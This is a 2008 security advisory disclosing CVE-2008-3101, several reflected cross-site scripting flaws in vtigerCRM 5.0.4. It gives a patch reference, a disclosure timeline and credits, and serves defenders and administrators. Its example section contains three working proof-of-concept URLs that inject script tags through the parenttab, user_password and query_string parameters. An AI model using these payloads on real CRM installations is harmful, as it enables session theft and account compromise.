SecurityReason - Multiple Cross Site Scripting (XSS) Vulnerabilities in vtigerCRM 5.0.4

Advisory Text :

Multiple Cross Site Scripting (XSS) Vulnerabilities in vtigerCRM 5.0.4,
CVE-2008-3101

References

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3101
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-3101
http://www.vtiger.de/

Description

vtigerCRM is a Open Source Customer Relationship Management (CRM)
Software. The application is vulnerable to simple Cross Site Scripting,
which can be used for several isues

Example

Assuming vtigerCRM is installed on http://localhost/vtigercrm/, one can
inject JavaScript with:
http://localhost/vtigercrm/index.php?module=Products&action=index&parent
tab="><script>alert(1);</script>
http://localhost/vtigercrm/index.php?module=Users&action=Authenticate&us
er_password="><script>alert(1);</script>
http://localhost/vtigercrm/index.php?module=Home&action=UnifiedSearch&qu
ery_string="><script>alert(1);</script>

Workaround/Fix

vtiger CRM Security Patch for 5.0.4 [1]

Disclosure Timeline

2008-07-28 Vendor contacted
2008-07-28 Vendor fixed issue in test environment
2008-07-30 Vender released patch
2008-07-30 Vendor dev statet they'll release a second patch within
days
2008-09-01 published advisory, no second patch from upstream yet

CVE Information

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2008-3101 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems. Credits and copyright

This vulnerability was discovered by Fabian Fingerle [2] (published with
help from Hanno Boeck [3]). It's licensed under the creative
commons attribution license [4].

Fabian Fingerle, 2008-09-01

[1]
http://www.vtiger.de/vtiger-crm/downloads/patches.html?tx_abdownloads_pi
1[action]=getviewdetailsfordownload&tx_abdownloads_pi1[uid]=128&tx_abdow
nloads_pi1[category_uid]=5&cHash=e16be773a5
[2] http://www.fabian-fingerle.de
[3] http://www.hboeck.de
[4] http://creativecommons.org/licenses/by/3.0/de/

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